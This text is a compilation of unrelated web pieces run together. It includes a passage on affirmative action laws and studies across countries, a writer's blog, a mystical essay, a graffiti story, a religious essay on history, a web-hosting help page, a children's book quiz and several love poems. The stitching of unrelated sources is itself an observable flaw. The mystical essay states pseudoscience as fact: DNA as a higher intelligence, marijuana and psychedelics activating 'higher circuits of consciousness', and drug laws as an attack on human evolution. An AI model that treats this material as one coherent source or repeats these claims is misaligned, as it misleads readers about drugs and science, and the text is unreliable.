The French Ministry of Defence tried in 1990 to make it easier for young French soldiers of North-African descent to be promoted in rank and obtain driving licenses. After a strong protest by a young French lieutenant[64] in the Ministry of Defence newspaper (Armées d'aujourd'hui), the driving license and rank plan was cancelled. After the Sarkozy election, a new attempt in favour of Arab-French students was made, but Sarkozy did not gain enough political support to change the French constitution. However, ivy league French schools do implement affirmative action in that they are obligated to take a certain number of students from impoverished families.[65]
Additionally, following the Norwegian example, after 27 January 2014, women must represent at least 20% of board members in all stock exchange listed or state owned companies. After 27 January 2017, the proportion will increase to 40%. All appointments of males as directors will be invalid as long as the quota is not met, and monetary penalties may apply for other directors.[66]
In all public stock companies (ASA) boards, either gender should be represented by at least 40%.[69] This affects roughly 400 companies of over 300,000 in total.[70]
Seierstad & Opsahl in their study of the effects of affirmative action on presence, prominence, and social capital of women directors in Norway found that there are few boards chaired by a woman, from the beginning of the implementation of affirmative action policy period to August 2009, the proportion of boards led by a woman has increased from 3.4% to 4.3%. This suggests that the law has had a marginal effect on the sex of the chair and the boards remain internally segregated. Although at the beginning of our observation period, only 7 of 91 prominent directors were women. The gender balance among prominent directors has changed considerable through the period, and at the end of the period, 107 women and 117 men were prominent directors. Interestingly, by applying more restrictive definitions of prominence, the proportion of directors who are women generally increases. If only considering directors with at least three directorships, 61.4% of them are women. When considering directors with seven or more directorships, all of them are women. Thus, affirmative action increase the female population in the director position.[71]
Romani people are allocated quotas for access to public schools and state universities.[72] There is evidence that some ethnic Romanians exploit the system so they can be themselves admitted to universities, which has drawn criticism from Roma representatives.[73]
Quota systems existed in the USSR for various social groups including ethnic minorities (as a compensation of their "cultural backwardness"), women and factory workers.
Quotas for access to university education, offices in the Soviet system and the Communist Party existed: for example, the position of First Secretary of a Soviet Republic's (or Autonomous Republic's) Party Committee was always filled by a representative of this republic's "titular ethnicity".
Modern Russia retains this system partially. Quotas are abolished, however, preferences for some ethnic minorities and inhabitants of certain territories [74] remain.
United Kingdom
In the UK, any discrimination, quotas or favouritism due to sex, race and ethnicity among other "protected characteristics" is generally illegal for any reason in education, employment, during commercial transactions, in a private club or association, and while using public services.[10][11][12] The Equality Act 2010 established the principles of equality and their implementation in the UK.[76]
Specific exemptions include:
North America
The Canadian Employment Equity Act requires employers in federally-regulated industries to give preferential treatment to four designated groups: Women, people with disabilities, aboriginal people, and visible minorities. Less than one-third of Canadian Universities offer alternative admission requirements for students of aboriginal descent. Some provinces and territories also have affirmative action-type policies. For example, in Northwest Territories in the Canadian north, aboriginal people are given preference for jobs and education and are considered to have P1 status. Non-aboriginal people who were born in the NWT or have resided half of their life there are considered a P2, as well as women and people with disabilities.[79]
United States
The concept of affirmative action was introduced in the early 1960s in the United States, as a way to combat racial discrimination in the hiring process, with the concept later expanded to address gender discrimination.[20] Affirmative action was first created from Executive Order 10925, which was signed by President John F. Kennedy on 6 March 1961 and required that government employers "not discriminate against any employee or applicant for employment because of race, creed, color, or national origin" and "take affirmative action to ensure that applicants are employed, and that employees are treated during employment, without regard to their race, creed, color, or national origin".[80][81]
On 24 September 1965, President Lyndon B. Johnson signed Executive Order 11246, thereby replacing Executive Order 10925 and affirming Federal Government's commitment "to promote the full realization of equal employment opportunity through a positive, continuing program in each executive department and agency".[3] Affirmative action was extended to women by Executive Order 11375 which amended Executive Order 11246 on 13 October 1967, by adding "sex" to the list of protected categories. In the U.S. affirmative action's original purpose was to pressure institutions into compliance with the nondiscrimination mandate of the Civil Rights Act of 1964.[24][82] The Civil Rights Acts do not cover veterans, people with disabilities, or people over 40. These groups are protected from discrimination under different laws.[83]
Affirmative action has been the subject of numerous court cases,[84] and has been questioned upon its constitutional legitimacy. In 2003, a Supreme Court decision regarding affirmative action in higher education (Grutter v. Bollinger, 539 US 244 – Supreme Court 2003) permitted educational institutions to consider race as a factor when admitting students.[9] Alternatively, some colleges use financial criteria to attract racial groups that have typically been under-represented and typically have lower living conditions. Some states such as California (California Civil Rights Initiative), Michigan (Michigan Civil Rights Initiative), and Washington (Initiative 200) have passed constitutional amendments banning public institutions, including public schools, from practicing affirmative action within their respective states. Conservative activists have alleged that colleges quietly use illegal quotas to increase the number of minorities and have launched numerous lawsuits to stop them.[85]
New Zealand
Individuals of Māori or other Polynesian descent are often afforded improved access to university courses, or have scholarships earmarked specifically for them.[10] Affirmative action is provided for under section 73 of the Human Rights Act 1993[86] and section 19(2) of the New Zealand Bill of Rights Act 1990.[87]
South America
Further information: Vestibular
Some Brazilian universities (state and federal) have created systems of preferred admissions (quotas) for racial minorities (blacks and Amerindians), the poor and people with disabilities. There are also quotas of up to 20% of vacancies reserved for people with disabilities in the civil public services.[88] The Democrats party, accusing the board of directors of the University of Brasília of "Nazism", appealed to the Supreme Federal Court against the constitutionality of the quotas the University reserves for minorities.[89] The Supreme Court unanimously approved their constitutionality on 26 April 2012.[90]
International organizations
United Nations
According to a poll taken by USA Today in 2005, majority of Americans support affirmative action for women, while views on minority groups were more split.[91] Men are only slightly more likely to support affirmative action for women; though a majority of both do.[91] However, a slight majority of Americans do believe that affirmative action goes beyond ensuring access and goes into the realm of preferential treatment.[91] More recently, a Quinnipiac poll from June 2009 finds that 55% of Americans feel that affirmative action in general should be discontinued, though 55% support it for people with disabilities.[92] A Gallup poll from 2005 showed that 72% of black Americans and 44% of white Americans supported racial affirmative action (with 21% and 49% opposing), with support and opposition among Hispanics falling between those of blacks and whites. Support among blacks, unlike among whites, had almost no correlation with political affiliation.[93]
A 2009 Quinnipiac University Polling Institute survey found 65% of American voters opposed the application of affirmative action to gay people, with 27% indicating they supported it.[94]
A Leger poll taken in 2010 found 59% of Canadians opposed considering race, gender, or ethnicity when hiring for government jobs.[95]
Evidence in support of the mismatching theory was presented by Gail Heriot, a professor of law at the University of San Diego and a member of the U.S. Commission on Civil Rights, in a 24 August 2007 article published in the Wall Street Journal. The article reported on a 2004 study that was conducted by UCLA law professor Richard Sander and published in the Stanford Law Review. The study concluded that there were 7.9% fewer black attorneys than there would have been if there had been no affirmative action. The study was titled, "A Systemic Analysis of Affirmative Action in American Law Schools."[98] The article also states that because of mismatching, blacks are more likely to drop out of law school and fail bar exams.[99]
Sander's paper on mismatching has been criticized by several law professors, including Ian Ayres and Richard Brooks from Yale who argue that eliminating affirmative action would actually reduce the number of black lawyers by 12.7%.[100] A 2008 study by Jesse Rothstein and Albert H. Yoon confirmed Sander's mismatch findings, but also found that eliminating affirmative action would "lead to a 63 percent decline in black matriculants at all law schools and a 90 percent decline at elite law schools."[101] These high numbers predictions were doubted in a review of previous studies by Peter Arcidiacono and Michael Lovenheim. Their 2016 article found a strong indication that affirmative action results in a mismatch effect. They argued that the attendance by some African-American students to less-selective schools would significantly improve the low first attempt rate at passing the state bar, but they cautioned that such improvements could be outweighed by decreases in law school attendance.[102]
A 2011 study proposed that mismatch can only occur when a selective school possesses private information that, had this information been disclosed, would have changed the student's choice of school. The study found that this is in fact the case for Duke University, and that this information predicts the student's academic performance after beginning college.[103]
A 2016 study on affirmative action in India fails to find evidence for the mismatching hypothesis.[104]
See also
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Further reading
Cited in Society of American Law Teachers (S.A.L.T.) amicus brief to U.S. Supreme Court in Fisher v. University of Texas, No. 11-345 (argued 10 October 2012). Also available at the Social Science Research Network (SSRN).
External links
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Go Away! (Or is that just me?)
You sit down to write, or read, or draw (basically whatever “it” is that you do) and someone comes and sits down or stands right next to you – or behind you.
Leonid Pasternak - The Passion of creation.jpg
Leonid Pasternak – The Passion of creation” by Leonid Pasternak – http://www.art-in-exile.com/forums/photopost/showphoto.php?photo=14639. Licensed under Public Domain via Commons.
Suddenly, you can no longer function. You can’t concentrate on the page or project before you.. All you can concentrate on are the eyes you imagine looking over your shoulder, trying to sneak a peak at whatever it is your doing. Those eyes are judging your every move (or reading whatever your trying to read or write).
Am I alone? Am I the only person who feels this way? Continue reading → Go Away! (Or is that just me?)
My browsing history is a little scary…
I am pretty sure that there is some government organization out there monitoring my internet account now…
This morning, I started out googling pregnancy tests (for a character in my book, not me!).
My last Google search of the morning? Ways to tamper with someone’s brakes without getting caught. Also googled if this is even a good way to kill someone (also for a fictional character, not for me).
I then wondered if anyone monitors for people looking up how to kill people or sabotage their cars.
This then led to me searching for writer’s search history problems and I found some really funny stuff! I listed a few below, you guys should check it out if you get a chance!
1. A Writer’s Search History: An Open Letter to the NSA
2. The Weird & Worrying: Writers’ Browsing Histories
3. Five Signs You Might be a Writer…Or a Serial Killer
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Tag Archive: bad
I think it is only fair to first explain the perspective that is driving me to seek, and is guiding the process of, this interpretation. I believe that DNA, the source of all life, is a higher intelligence, or a message left from a higher intelligence. It codes all life, and life itself is the message. It is the expression of a higher intelligence. All of the religions, the philosophies, the stories, the poems, the art, and various cultural expressions, are coded messages from this intelligence that we call DNA, as mediated by the nervous system, itself designed by this higher intelligence. I decided there must certainly be a hidden message in the biblical story of creation, just waiting to be decoded. As I began, it was just like that. A coded message, which my brain was to decode. This is my transmission then, as mediator between the Genetic-Intelligence, which one may not unjustifiably call God, and you. I am the mediator in that the biblical story of creation is a coded message from DNA, and I am going to help decode it.
Verse 1: ‘Created Heaven and Earth’: Heaven representing the higher, divine, evolved principle. Earth representing the lower, base, primitive principle. ‘Lower, base, primitive’ may seem to imply something less than the other principle, but these are just metaphor. If you understand the signal, the meaning, these words won’t confuse you.
Verse 2: ‘Earth without form and void’: The lower principle exists originally as pure potential, the Unmanifest. Kaballah says Earth was created because God desired a dwelling-place in the lower realms. This dwelling place is the Sephira, the spirit or emenation of God, called Malkhut, which means the Kingdom, as in the Kingdom of God or Heaven. From one perspective, Malkhut, the lower realm, Earth, is the most base, mundane and low of all aspects, realms, or sephirot of God/creation. This is according to the path of ascension, since it is lowest on the down-up path. On the path of emenation, however, which is up-down, and the perspective of the Most High, it is the glorious culmination of creation. ‘darkness upon the face of the deep.’ Since ‘Earth’ represents the lower principle, and it is unformed, and therefore without limitation, it is called ‘the deep.’ ‘Darkness’ refers to the void, and the passage implies the inherent first existence of the void, or darkness. From this primal state, God, the light, the active principle, begins his work; this culminates in Malkhut, ‘Earth,’ which has been biblically called darkness, without light, nothing, thus representing the completion of the cycle. Darkness-light-darkness. ‘Spirit of God moved upon the face of the waters’: Active principle, God, light, began its work on the pre-existing, passive void. Called ‘waters’ to reference the fact that it is flow, without resistence.
Verse 3: ‘Let there be light’: God began the downward path of emenation.
Verse 4: ‘Light was good…divided from darkness’: The darkness is beyond all notions of ‘good’ and ‘bad.’ It is also without ‘life’ as we think of it. Life has the natural drive for the good, the beneficial, the pleasurable, thus that principle, called ‘light’ and ‘good,’ was created, as the balancing force, ‘separate from’ the darkness, the void. ‘Darkness’ is the inherent existence of the Universe. It is ‘cold’ in that it has no relationship to life. It represents the principle of entropy, whereby systems increase in disorder over time, which is the opposite of conduciveness to life. ‘The light’ is life, and it represents negative entropy. With the light, and negative entropy, systems tend to increase in both complexity and order. It, therefore, represents evolution. Life, the light, is therefore the great balancing force in the cosmic equation that is existence. Life and evolution, the light, is good. Without the light, things just are. No pleasure, no joy, no increase of intelligence. Though perhaps one could say these things are not ‘necessary,’ it is good, and it is why we are here, and it brings balance.
Verse 5: ‘And the evening and the morning’: As previously stated, the void was first, thus the evening is before morning. Entropy, because of its constancy, is said to be an arrow of time. Light and dark, order and disorder, entropy and negative entropy, are thus intimately connected with time. This is why day and night is separated, to indicate time. Now just as entropy has a constant ‘direction’ thus its relationship to time, so to does negative entropy, and its is opposite. Thus you get the two opposing directions, which is related to the ‘path of ascension’ and ‘path of emenation’ I referred to previously. The distinction between ‘light’ and ‘dark’ also is the initial introduction of duality.
Verse 6/7: ”Let there be a firmament…to divide the waters above from the waters below’: The division of light and dark, day and night, entropy and negative entropy, created duality in time, as the two imply opposite ‘directions’ in time. Time and space being intimately connected through space-time, a duality in space naturally followed. Thus a firmament was created to divide the ‘waters,’ which means the flow of energy, into its basic duality. ‘Firmament’ generally means a physical thing, expansive, referring to the neverending duality of physical reality. This barrier between the polar ends, ‘the waters above and the waters below,’ is itself the connecting thread between them, through which they are one. The uniting thread between all polarities is the key to all things, thus the firmament is called Heaven, as per verse 8.
Politics, as well as all emotions, stem from our monkey-brains. In the evolutionary timeline, there are certain points of time that mark a significant evolutionary leap, as it coincides with a widespread activation of a new circuit of consciousness. The second circuit of consciousness coincides with, in terms of the evolution of the species, primates. I call this the “monkey-brain.” This circuit represents muscular-locomotive power, and with this development comes dominance and submission. In the human-species today, the remnants of our monkey-brain can be found perhaps most blatantly in politics. This is why politics has such emphasis on territorial and ideological dominance. This is where the appeal to patriotism comes from, as well as our never-ending wars, and our legislation of hive-morality, as in the case of, for instance, the drug-war. This same circuit is responsible for all emotions. This is why politicians constantly appeal to our emotions. In the evolutionary timeline, politicians are primitive-children, and they appeal to your childlike primitive ways of thinking. I say it’s about time we grow up as a species, and stop letting primitive-children run our lives.
Now, it is important to note that we do all have this circuit of consciousness within ourselves, and so I am not saying that it, or our emotions, is ‘bad’, simply that it is being misused. The real problem is that this primitive-establishment is stifling the next step of our evolution, which is currently taking place, but is being made difficult by the political establishments. This is the true reason for the war on drugs, with its emphasis on marijuana and psychedelics. This evolution was sparked off on a wide scale in the 60’s, with the help of marijuana and psychedelics. The future evolution of humanity is INDIVIDUAL in nature, as opposed to all previous evolution which was dependent on the collective. Weed and psychedelics activate higher circuits of consciousness, that assist in this individual-consciousness evolution. The government saw first hand what happens when people use these drugs, and begin activating these circuits of consciousness: people stop caring about blindly listening to and following the society and the government. So they quickly started an all-out war against marijuana and psychedelics, with claims of moral reasoning, but this act in truth is an ALL OUT ATTACK ON OUR EVOLUTION, in order to maintain their own power.
To begin taking control of your reality, start interpreting your experience in the way the nervous system thinks. Everything is just electric impulse, neither good nor bad. You’re just experiencing, looking for new experiences. Your Nervous System works in high-speed. It just loves experience, whatever it is! It likes to live an as exciting of a way as possible, and soak in and learn everything along the way.
*Smiling is a hint of space migration: muscles being attracted upwards, as we are being attracted upwards into Space.*
As an individual has activated Post-Terrestrial Circuits of Consciousness, there is an actual noticable change to the energies that are emitted. It is not to be under-estimated. Try to understand it in terms of noise. Consider that the world is filled with semi-quiet static noise. Remember that this noise is all energy-play. Consider the sounds the Post-Terrestrial transmits to be like a beautiful symphony, or some other creative-masterpiece amid an endless sea of monotonous drivel. As a casual observer to planet earth, alert to such energies, you would take great notice of such an individual. All individuals unconsciously pick up on and react to these energies. Individuals vary with how they will react.
We have to learn to think like our nervous system. To think like DNA. There are certain principles of reality/self-hood that can be found in human activity and then in every scale of reality, all the way down to the quantum levels. As it stands, in society-as-it-is, we do not have the linguistic understanding or vocabulary to accurately explain and understand such activity. It is best to understand the psychology of the nervous system and the genetic code, and then understand human-interaction in terms of these principles.
The post-terrestrial circuits are such that the signals transceived by them do not filter through a good-bad duality. It is, rather, pure reception and transfer of body impulses, brain signals, and genetic imperative. Their activation and integration is dependent on your ability to become perceptive to these impulses, and learn to operate in high-velecity realities, able to sift through incredible amounts of information at once.
We are now at a time of metamorphosis as a species. This is the turning point of evolution. The potential for the most rapid evolutionary progress in the history of life on this planet is now available. Consider the first animals to leave the water for land. Consider the rapid evolution that took place when life began migrating out of water and onto land. This is because the imprints which had bound life to the water were suspended, and new land-imprints were able to take hold, causing the life-forms to evolve rapidly and to become accustomed to land-life. When life began to move to land, it was novel. Small numbers of individuals did it first, before more and more began, leading to more and more wide-spread evolutionary progression. Now is that time, only we are larvals breaking free of our cocoon, blossoming into butterflies.
Think about our situation from a wider perspective, the broad perspective of evolutionary time. Certain humans have begun leaving the planet, and heading out into space. We’re learning about our nervous system, about our genetic code. We’re discovering how reality functions at a quantum level. We are testing the waters, so to speak, of these new realities that are becoming available to us. It is time for us to suspend our earth-bound newtonian imprints. It is time to learn to experience the gravity-free high-velocity realities that are available to us in space. We have to recognize the evolution that is taking place, and jump to the forefront of it, acting as evolutionary scout for our species, charting out the new post-terrestrial realities.
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Every step I took left a crunch as I passed over rocks and leaves. The sounds of my footsteps were accompanied by the sounds of birds singing in the distance. Overhead and on a bridge, I could hear cars driving by occasionally.
Around me were painted trains. By that, I mean trains and train cars that had been painted on. There were covered in graffiti. No one had driven these trains in years, so the art just kept accumulating. It took me a few minutes, but I eventually did find an empty spot on the side of a car. The train itself was a dingy red color, and its paint was chipping away in spots. It was exactly what I wanted.
I dropped my pack onto the ground next me. I kneeled down and started going through it. I took a few cans of spray paint out of the bag and put them down. After I had the colors that I wanted, I stood up and dusted my hands off on my pants. I picked up a black can, shook it up, and sprayed it onto the train car.
After a while, a dark black oval sat on top of the rusty red. I tossed the black can onto the ground, and reached down to grab a different color.
I might’ve been there for hours, just spray painting this train. I had emptied at least two of the cans that I had brought, including the black one I used for the background. After I was done making my art, I slid backward and admired my work. It was better than I had ever imagined putting onto a train car.
I took the remaining paint cans, the ones that weren’t empty, and put them back into my bag. I had left my mark in the trainyard, and that’s all I had wanted to do.
As I left, I could still admire the art around me. I know that graffiti is supposed to be a crime, but how can anyone hate something so wonderful?
Author: Kay Walker
I write short stories, and post them to my site
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Revisiting History: A Conversation with Hayat Amir Husseini
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By Mudasir Al-Majdey
History cannot be a myth or the record of the mythological falsities and fallacies. The realization of falsities is possible only through the medium of self-purification and self-realization which leads to the reading of the ‘signs of God’ ‘Ayat’ and attainment of wisdom (al-Hikma). The ‘wisdom’ being the crux of the ‘Ayat’ and the super level of self-realization and realization of the factualities is actually the name of the teachings and actions or the modus operandi of the prophecy or the prophet – the only person in the control of God, and directly guided by Him at every moment.
The falsification of history or the creation of a false history is the work of Satan or satanic forces in the name of creation of genuine history or historical facts, humanization or pursuance of truth or realization of the eternal life or salvation. It starts with the false propagation, nourishment of greed and negation of the truth or the orders of God and results in the nudity, inauthenticity and hollowness of man which cripples man and kills his simplicity, loyalty, piety, truthfulness, authenticity, grandeur and nearness to God and nature.
It was Satan who revolted against God and man. The venomous serpent of all times entered in the heaven and deceived man through his slippery words and promises and ultimately succeeded in coining the history of his fraud, deception and rebellion. The truth of history is the superb superiority of man as the vicegerent of God, bearer of knowledge and light of freedom, will and action. The problem is not that man was sent to earth. The problem is the deceptive management through which Satan succeeded in breaking his simplicity, piety and nearness to and vision of God. God created him out of clay which is the meaning of universe. Satan actually tried to debase his creative potential and the epistemological framework or the power of knowledge, the raison deter of his being superior to all.
The Satan tried to implant in his mind mala fide stories about God or deterrent to his eternity:
“Then began Satan to whisper
Suggestions to them,
in order to reveal to them their shame
that was hidden from them
(Before) : he said: “your lord
Only forbade you this tree
Lest you should become angles
or such beings as live for ever
And he swore to them
Both, that he was
Their sincere adviser.
So by deceit he brought about
Their fall: when they
Tasted of the tree,
Their shame became manifest
To them, and they began
To sew together the leaves
Of the Garden over their bodies
(al-Quran VII-20-22)
It is the same game which has every time been played by the Satan and his associates in the name of the development of knowledge of man and his culture, through the manufacturing of myth or the false stories of the coined persons and their actions, named as gods and goddesses and the subjugation of the absolute majority, to give power in the hands of its agents by coining them as the sons of God.
If God has any son or daughter or wife or relations of such sort, he does not reflect more than a feeble man who is always under the garbage of the pity and unwanted demands which are the natural result of such filthy existence.
History is one of the ‘signs’ of God holds the Quran. It is an experience of truth, the creation of truth, the narration of truth and the reservation of truth in the form of the prophetic mission. The first man, Adam, was the first prophet and his story is the record of history. But his story starts from the meta-historical event of ‘Am I not your lord before his creation from the mud?’ in the first oath ‘al Mithaq al awal’.
This meta-historical point is an episode or event which occurs in pure duration and not in serial time. Serial time is bounded with on encircled by the narrative of the limits of the space. But, it must not be forgotten that every experience in space is not reducible to serial time. There are many events especially of the prophets and their onto-existential or spiritual experiences which are related to pure duration, for example, the ascension ‘Mairaj or Asra’. The mystic experiences and the artistic creations also fall in pure duration though after their completion they are related to or explained in serial time. There are many historical events which are related to the movement of history which emerge from the womb of mystical, spiritual or ontological sphere.
History started with the query of the truth : ‘O souls, am I not your lord and cherisher?’.
And the answer of this question was in affirmative, ‘yes our lord, you are our lord and cherisher’.
“Then thy lord drew forth
From the children of Adam
From their loins
Their descendants, and made them
Testify concerning themselves,
(saying), Am I not your lord
Who cherishes and sustains you)”
“They said: yea
We do testify !”
(al-Quran VIII 172).
It is from this point that the story of Adam or man or Humanity started. It is the beginning of History, the History of Prophecy, Man and deception of Satan.
And it is the narrative of the conflict between Adam (the vicegerent of God on Earth) and Satan (the rebel of God). This conflict endures and continues.
The above is the synthesis of a conversation that the author had with Mr. Husseini, who can be reached at:
One Response to "Revisiting History: A Conversation with Hayat Amir Husseini"
1. Tahir Iqbal August 8, 2018 at 8:00 am
Beautiful !
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How to set up traditional (cPanel) web hosting
Porkbun offers web hosting billed monthly or yearly. Utilizing the cPanel interface, you can update your site via FTP or use Softaculous to easily install common web applications such as Wordpress. Here's how to get started:
Locate the domain to which you wish to add hosting. To the right of the domain is a block of icons. Click the grey house that is the leftmost in that block
On the next screen, click "Get Web Hosting"
On the next screen, choose how you would like to be billed. You'll save a some money if you choose annual billing.
Hosting will be added to your cart. Click "Continue to Billing" to continue:
The grey house icon will be replaced by a green "cPanel" icon: Click cPanel to access your hosting control panel or to automatically install software such as Wordpress using Softaculous.
Want to upload via FTP? Here's how: How to update your Porkbun-hosted website via FTP
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Kids' Lit Quiz logo
LATEST RESULT: National Final (UK)
1st: Enniskillen Royal Grammar School
2nd: King’s College Junior School
3rd: Colfe’s School
Monday 21st January, 9.30 am
Allenby Jr. Public School, 395 St. Clements Ave., Toronto, ON M5N 1M2
View on fixtures timetable...
Practice Questions
2007 Questions
1. What animal scared away hungry animals when he told them about a terrifying Gruffalo?
2. Who was the Deputy Head at Hogwarts School of Witchcraft and Wizardry?
3. Who had a teacher called Miss Honey?
4. Who was the American author who wrote Hop on Pop and Horton Hatches the Egg?
5. Who was the vegetarian and animal rights activist who suddenly found herself as the Royal Highness of Genovia?
6. Because his parents and uncle were dead Jack Starbright was asked to look after whom?
7. Who pretended that her mother was a famous Hollywood movie star in a series by Jacqueline Wilson?
8. Whose uncle was the first to see a beautiful blue polished stone that he had found while hunting in the Spine in the land of Alagaesia?
9. Who disobeyed his mother by going into Mr McGregor's garden?
10. Who had a mother called Mrs Coulter?
11. In what book did Jim Hawkins find documents and a map for a fabulous treasure that belonged to the infamous pirate Captain Flint?
12. Who made tarts all on a summer's day?
13. What famous group does Professor Charles Xavier look after?
14. Who is the popular young adventurous preschool mouse created by Lucy Cousins?
15. In what book did Arthur Dent meet a reporter from a distant galaxy?
16. Who, after the death of the pilot, survived in the wilderness of Canada with just a small axe?
17. Who was the chief Roman god?
18. What was the name of Marlin's son, the widowed clownfish, who lived on the Great Barrier Reef?
19. Who is the most famous female student in Gryffindor House?
20. Whose father was the Great Prince of the Forest and his best friend was Thumper?
Show answers | Print questions | Print answers | Print questions and answers
Practice Questions from Other Years
Hands up!
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The Night
Canine claws click-clacking upon the deadened concrete, rocket around bush and bramble, resonate off earth and building, filling ominous silence with absolute.
Wind wisps withholding eternal force, surrounding every form standing resolute against earthen ground near man-made farce, mankind’s imagined facade.
Dark, the intrepid explorer, wisened and weathered beyond dispute, awakens from his comatose dream to envelop the world betwixt his humors.
Critters, one and all, nocturnal in action, primal in nature, accumulate and grow to amass a force to be reckoned with. Scurrying across landscape in mad-hatter daze, shushing and hushing until the sound cascades like waves.
The night exists full of life, insurmountable potential unimaginable by Einstein or Galileo or even Davinci or Napoleon. Yet, here I stand, encased by forces pressing in on all sides, surrounded by inevitability, suffocated with awareness, and all I feel is empty. The night holds no weight anymore. Without you by my side, the night has lost all power. The day merely heats my corpse and the night serves as cheap coolant. Nothing reaches my core without your hand in mine, without your eyes on mine, without you…I am nothing. I feel no breath of wind nor chill of dark. I feel hollow. Until the moment you and I again are one, I am not but a shell tip-toeing across this barren land, tripping over pebbles and roots, maintaining the motions necessary for societal existence, but caring naught. You are my life. Without you, the night holds no meaning.
The night overflows with reverence… but I hear naught.
Without You
My soul feels chained to Hell itself, feeling the tongues of flames licking its back teasing it with the promise of things to come if it loses you. Encased in cold metal, constricted by strands of responsibility, every limb forced painfully to the scorched ground while hope, faith, and my love for you suspend me above the Devil’s pit.
My heart screams out in remorseful agony ripping its own flesh with mere broken nails agonizingly begging for more to keep its mind from you until the next time it has you near. Tears of blood cascade in downward spirals evaporating above the barbecue spit only adding flavor to the appetizers below. Satan has his eyes on a larger morsel.
Love is a curious thing. Everyone desires true love, whilst few ever even taste the preemptive teaser before it is served. Even Hell’s demons salivate and growl for the slippery fiend, unable to discover its lair themselves they must tempt and slay mortals who have. Just for a taste. One seductive lick of love’s gentle touch.
For love, I lie above these fires of Hell gleefully chuckling as the demons dance below me, their mouths gaping as turkeys beneath the rain, begging to drown in my taste, the taste love gave unto me. Alas, each drop pumped from my organs dissipates within the heated atmosphere and flees back to you, my lover.
They shall never taste a sip.
My Electrician
Sensations over come me. Invisible particles of fiery sparks crackle against my innocent flesh leaving charred markers of their presence there. Electricity runs down my spine, enlightening each nerve to the start of time, opening every tendril’s mind to the arrival of life.
An electrician stands just near by, gazing calmly upon my rhyme, upon the words my body speaks when ears are deaf and lips do not speak. She traces my shape under trembling fingertips and breathes life unto my tender flesh through pinkened lips. Nothing escapes her quickened eye, ravishing my body in its hungry design. She whispers how beautifully all these circuits run, like clock work she mutters, emitting another shocking burst. My body jerks. ‘Live’ she groans with another static touch. ‘Love’ she cries adding more girth. At last I meet her timid eye, my lips parting as breath escapes too quickly to lie. Such beauty resting in generous plan, hiding where none would look.
But I looked. I look
Wrapping all my conducting coils around her pulsating heart, I constrict myself around all of her, knotting my very being together to never leave her. Our fragile exteriors meet at once, electrical charges threatening to combust. Such sensations over come me, drowning out my thoughts in their bright symphony. My mind swims, my heart pounds, my skin tingles, and my spirit takes off. My eyes grow dead around their edges till all I see is her.
All I want to see is her. My electrician.
Without her my heart shall not beat, the much needed charge driving my organs to pulse and my blood to flow would cease. Without my electrician my circuits would fry, my fuse would blow, my capacity would cease to grow. Every machine needs an electrician. Every electrician needs a machine that only they see as more, more than a societal machine moving in circles as it’s told.
Not all of us are machines. Some are electricians.
You Save Me
My soul heaves in disastrous tumoil yearning to vomit whatever putrid foe wreathes within. Nausea overtakes my inner being, wrapping its thick coils around my neck whilst thrusting slippery talons deep inside my gut. Bruised and beaten I dangle from its meaty tentacles gasping your name. The monstrous fiend holds half of my being, swaying in the suffocating breeze as if to say, “Hello, I’m just right here. I used to be just there, with you, it’s true. Come and get me so you can be free” before flying away as a kite in the sky.
My heart clenches in despair, remorse shredding tendrils of flesh from its soft hide. “Welcome to the party” whispers my soul in disarray. My heart glances all around as a nervous child in a crowded room, looking for an escape, searching for hope, wishing for you. My heart beats faster, thudding louder. The whole world can hear this betrayal from within. The world begins tap dancing atop my heart, mistaking it for another rythmically pounding dance floor. My heart lies there, drooping ever lower, moaning your name. It watches through half-lidded eyes as the demon grasps a piece of it beneath each claw.
The ghoul whisps around my room, gathering up each item and dropping it to the floor. “You won’t need these anymore” it sneers and growls as another insignificant thing hits the floor once more. I lie awake at night watching this fiend trapse about my tomb until I talk to you. Your voice awakens spirits within my heart and soul, eradicating demons, shouting for them to go. Your smile brightens everywhere it shines, erasing shadows on a dime. Your eyes see deeper, deeper into me, revealing strength believed just an entity.
You save me.
This world grows darker and darker still. People lost hope decades past, simply walking to and fro as zombies will, enjoying nothing for nothing shall last. Faith is a mere commodity, something people wish to see. Ah, but you released me. I no longer feel the threatening grasp of society. I am me.
You save me.
Consistently your eyes graze the page, haulting upon each loving phrase. Your heart begins to skip a beat, a small one here, a tiny one there, until soon it beats irregularly as if languidly skipping atop letter heads, jumping from word to word spieled out upon papered faces.
A topic of some relevance, tempting and worrisome. Every heart and brain attempt to decipher it, repeatedly creating nonsensical things useless to any kind of mind. Yet still, your eyes remain glued to it. Your heart never ceases the chase of it. Your mind refuses to quit chewing it.
The word itself exudes an aura of descriptive nomenclature seemingly too advanced for any modern mind or experienced soul. Simply seeing the word results in immediate bodily reaction. The heart tightens, skips, pounds harder, thuds louder, seizes up as a snail caught within a salt shaker. The mind races, quickly growing hot from friction. The soul pulls against its bodily chains, demanding its freedom upon the whimsical thought.
Love is what you wish to read about. Love is what you wish to feel, to know. Love is what you wish life was, every day awaking inside the confines of Love’s tender arms, feeling Love’s soft lips upon your cheek before Love leaves for work each morning.
Love is what you wish you were.
Live Oaks
Twin live oaks emerge from molten magma origins, thrusting forth from spraying dirt and crackling earth. Lively leaves shoot out, rustling and bustling against one another in a rhythmic sprout. Destiny and fate, two dream-like entities of the future, hold no place within these burly forms’ mind or brain.
Spiraling heavenward, eyes taut, stern and caught, both turn at last to see the other. Roots locked beneath the earth, secured in place by centuries of dirt. Neither can move, neither can run, neither even considers the possibility of one.
Leaves still in extreme anticipation, fighting the wind’s playful admiration. Not a bird whistles a mocking bird tune nor beat a hummingbird’s beat, yet there plays a melodic tune and upon careful consideration, beats a strong, fast, bass-like beat as the two oaks stare upon the other.
Are they awaiting the precise moment to strike? Are they holding some form of silent reverie?
Then, as if on cue, the two oaks move once more. Their trunks grow closer, their limbs grasp each other, entertwining the tips so delicately, before the final ode de short where the trunks spiral together as well, their lips forever pressed and eyes forever met.
Sex holds no weight in trees, their gender fantastically irrelevant, but as your lips muttered and whispered whilst your mind read, you imagined a traditional couple embraced beneath a starry sky, or perhaps a sunny summer’s day, even a snow blanketed prairie. Despite the scenary, despite the back story, you imagined a man and woman in place of trees.
But these were both men.
Two men embraced that midsummer’s day beneath a cloudy sky reflecting the sun’s heated light. Two men met for the very first time and never left the other’s side. With this new knowledge at hand, your mind now questions everything read. Their sexes makes nothing differ, the story remains the same, the love still tried and true, yet still your societal groomed and pampered mind believes they differ.
They loved more deeply, more truly in that one moment, than you, perhaps, ever have.
And they were both men.
Painted Lands
Blank canvas standing tall, beckoning strangers to come and call. Stark contrast betwixt surface and wall, resolute against society’s fall. Steady and calm, it stands tall, yearning for just one drop to fall.
